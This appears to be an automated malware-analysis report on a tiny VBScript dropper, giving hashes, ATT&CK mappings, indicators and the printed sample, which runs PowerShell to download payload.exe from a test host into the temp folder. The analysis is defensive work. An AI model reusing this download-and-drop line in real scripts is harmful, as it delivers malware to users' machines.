KVMX

Evidence-First Malware Analysis

Analysis Report: malicious.vbs

Verdict: SUSPICIOUS

malicious.vbs has an unrecognized format. Verdict: suspicious.

Analysis Overview

Score: 5/10

Threat level: Suspicious

Malicious Activity Summary

- Obfuscated Files or Information
- Command and Scripting Interpreter: PowerShell
- Application Layer Protocol: Web Protocols
- Ingress Tool Transfer

Hashes

SHA-256:	56fb18a36059752e10003a6b715da839a9fe8c910ab4c1a9a9d9fc61e2194e0e
SHA-1:	dd92f11d372fb0562405a74fdeb65a90237a1896
MD5:	40f1d83b80bc22d73f960dfacbed1dfb
Size:	131 bytes

Packer Detection

No packer detected.

Strings (3 found)

```
Dim o
Set o = CreateObject("WScript.Shell")
o.Run "powershell -c iwr http://mf-smoke-c2.test/payload.exe -OutFile %TEMP%\drop.exe"
```

Indicators of Compromise (2)

URLs (1)

`http://mf-smoke-c2.test/payload.exe`

Domains (1)

`mf-smoke-c2.test`

MITRE ATT&CK (4)

Technique	Name	Tactic	Source

T1027	Obfuscated Files or Information	Defense Evasion	
T1059.001	Command and Scripting Interprete	Execution	
T1071.001	Application Layer Protocol: Web	Command and Control	
T1105	Ingress Tool Transfer	Command and Control	